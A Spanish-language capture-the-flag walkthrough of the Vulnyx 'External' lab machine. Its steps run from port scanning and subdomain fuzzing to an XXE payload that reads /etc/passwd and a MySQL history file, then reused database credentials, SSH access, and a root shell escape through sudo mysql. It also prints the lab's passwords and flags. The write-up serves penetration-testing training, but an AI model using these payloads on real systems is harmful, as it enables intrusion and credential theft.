External Vulnyx (Easy - Linux)

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>

Info:

Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-13 03:24 EDT
Nmap scan report for 192.168.5.77
Host is up (0.00093s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
|   256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_  256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp   open  http    Apache httpd 2.4.56 ((Debian))
|_http-title: 404 Not Found
|_http-server-header: Apache/2.4.56 (Debian)
3306/tcp open  mysql   MariaDB 5.5.5-10.5.19
| mysql-info: 
|   Protocol: 10
|   Version: 5.5.5-10.5.19-MariaDB-0+deb11u2
|   Thread ID: 7
|   Capabilities flags: 63486
|   Some Capabilities: Speaks41ProtocolNew, FoundRows, ConnectWithDatabase, Support41Auth, LongColumnFlag, DontAllowDatabaseTableColumn, 
SupportsLoadDataLocal, SupportsTransactions, Speaks41ProtocolOld, IgnoreSigpipes, SupportsCompression, ODBCClient, IgnoreSpaceBeforeParenthesis, 
InteractiveClient, SupportsMultipleResults, SupportsAuthPlugins, SupportsMultipleStatments
|   Status: Autocommit
|   Salt: WRri8wrU4@(Eb@VqU4F@
|_  Auth Plugin Name: mysql_native_password
MAC Address: 08:00:27:EF:7C:D9 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.12 seconds

Veremos varios puertos interesantes, entre ellos el puerto 80 y el 3306, vamos a ver que pagina contiene el puerto 80, entrando dentro veremos que nos da un error 404 como si no encontrara nada, pero si inspeccionamos el codigo bajando abajo del todo veremos lo siguiente comentado:

<!--
[Pending Tasks]
configure DNS: ext.nyx
-->

Veremos que nos esta dando un dominio el cual vamos añadirnos a nuestro archivo hosts para despues entrar en dicho dominio.

nano /etc/hosts

#Dentro del nano

<IP>             ext.nyx

Lo guardamos y entramos a dicho dominio.

URL = http://ext.nyx/

Veremos la misma pagina que antes, vemos que no nos esta redireccionando a ningun sitio nuevo, por lo que vamos a realizar un poco de fuzzing a nivel de subdominios a ver que vemos.

FFUF

ffuf -c -w <WORDLIST> -u http://ext.nyx -H "Host: FUZZ.ext.nyx" -fs 258

Info:


        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://ext.nyx
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/big.txt
 :: Header           : Host: FUZZ.ext.nyx
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 258
________________________________________________

administrator           [Status: 200, Size: 1089, Words: 340, Lines: 26, Duration: 27ms]
:: Progress: [20469/20469] :: Job [1/1] :: 68 req/sec :: Duration: [0:00:10] :: Errors: 0 ::

Veremos que hemos descubierto el subdominio llamado administrator, por lo que vamos añadirlo en nuestro archivo hosts de esta forma:

nano /etc/hosts

#Dentro del nano

<IP>             ext.nyx administrator.ext.nyx

Guardamos el archivo y entraremos a dicho subdominio que veremos lo siguiente:

URL = http://administrator.ext.nyx/

Info:

Vemos que hay un panel de admin bastante interesante, si probamos credenciales por defecto no va a funcionar, si intentamos un SQLi tampoco va a funcionar, una fuerza bruta no va a servir, por lo que vamos a investigar la peticion de forma interna con BurpSuite.

Si abrimos BurpSuite y enviamos algunas credenciales random para ver que hace por detras, veremos lo siguiente:

POST /form.php HTTP/1.1
Host: administrator.ext.nyx
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: text/plain;charset=UTF-8
Content-Length: 103
Origin: http://administrator.ext.nyx
Connection: keep-alive
Referer: http://administrator.ext.nyx/
Priority: u=0

<?xml version="1.0" encoding="UTF-8"?>
	<details>
		<email>
			admin
		</email>
		<password>
			admin
		</password>
	</details>

Veremos algo muy interesante y es que esta utilizando XML, vamos a probar una vulnerabilidad famosa llamada XXE, si le damos a enviar y ponemos en BurpSuite que capture tambien la respuesta del servidor, veremos que muestra el nombre de admin en texto plano, por lo que ese va a ser nuestra injeccion de leer archivos quedando de esta forma:

POST /form.php HTTP/1.1
Host: administrator.ext.nyx
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: text/plain;charset=UTF-8
Content-Length: 220
Origin: http://administrator.ext.nyx
Connection: keep-alive
Referer: http://administrator.ext.nyx/
Priority: u=0

<?xml version="1.0" encoding="UTF-8"?>
	<!DOCTYPE foo [  
	<!ELEMENT foo ANY >
	<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
	<details>
		<email>
	&xxe;
		</email>
		<password>
	admin
		</password>
	</details>

Si enviamos la peticion y la capturamos veremos lo siguiente:

HTTP/1.1 200 OK
Date: Wed, 13 Aug 2025 07:44:02 GMT
Server: Apache/2.4.56 (Debian)
Vary: Accept-Encoding
Content-Length: 1537
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

<p align='center'> <font color=white size='5pt'> 
	root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:106:113:MySQL Server,,,:/nonexistent:/bin/false
admin:x:1000:1000:admin,,,:/home/admin:/bin/bash

		 is already registered! </font> </p>

Vemos que ha funcionado, recordemos anteriormente que teniamos un puerto MySQL vamos a probar a intentar leer el archivo de logs de MySQL a ver si estuviera en la home de dicho usuario.

<?xml version="1.0" encoding="UTF-8"?>
	<!DOCTYPE foo [  
	<!ELEMENT foo ANY >
	<!ENTITY xxe SYSTEM "file:///home/admin/.mysql_history" >]>
	<details>
		<email>
	&xxe;
		</email>
		<password>
	admin
		</password>
	</details>

Info:

<p align='center'> <font color=white size='5pt'> 
	ALTER USER 'root'@'%' IDENTIFIED BY 'r00tt00rDB';
exit;

		 is already registered! </font> </p>

Veremos que ha funcionado, encima estamos viendo las credenciales de mysql del usuario root vamos a probarlas para entrar.

Escalate user admin

MySQL

mysql -h <IP> -u root -pr00tt00rDB --ssl=0

Info:

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 16
Server version: 10.5.19-MariaDB-0+deb11u2 Debian 11

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Support MariaDB developers by giving a star at https://github.com/MariaDB/server
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]>

Vamos a listar las DDBBs a ver que vemos:

show databases;

Info:

+--------------------+
| Database           |
+--------------------+
| admindb            |
| information_schema |
| mysql              |
| performance_schema |
+--------------------+
4 rows in set (0.019 sec)

Vamos a listar las tablas de la DDBB llamada admindb a ver que vemos.

use admindb;
show tables;

Info:

+-------------------+
| Tables_in_admindb |
+-------------------+
| credentials       |
+-------------------+
1 row in set (0.002 sec)

Vamos a ver que contiene dicha tabla:

select * from credentials;

Info:

+------+-------+--------------------------+
| id   | user  | password                 |
+------+-------+--------------------------+
|    1 | admin | 4dminDBS3cur3P4ssw0rd123 |
+------+-------+--------------------------+
1 row in set (0.200 sec)

Vemos una contraseña en texto plano del usuario admin vamos a probarla directamente por el servidor SSH a ver si funcionara.

SSH

ssh admin@<IP>

Metemos como contraseña 4dminDBS3cur3P4ssw0rd123 y veremos que estaremos dentro.

Info:

admin@external:~$ whoami
admin

Vamos a leer la flag del usuario.

user.txt

934841337017b7b43282ff826e4b8d01

Escalate Privileges

Si hacemos sudo -l veremos lo siguiente:

Matching Defaults entries for admin on external:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User admin may run the following commands on external:
    (root) NOPASSWD: /usr/bin/mysql

Vemos que podemos ejecutar el binario mysql como el usuario root por lo que podremos realizar lo siguiente:

sudo mysql -e '\! /bin/bash' -pr00tt00rDB

Info:

root@external:/home/admin# whoami
root

Veremos que con estos seremos root, por lo que leeremos la flag de root.

root.txt

059ca941ad55fd318d68e675f85dd733

Last updated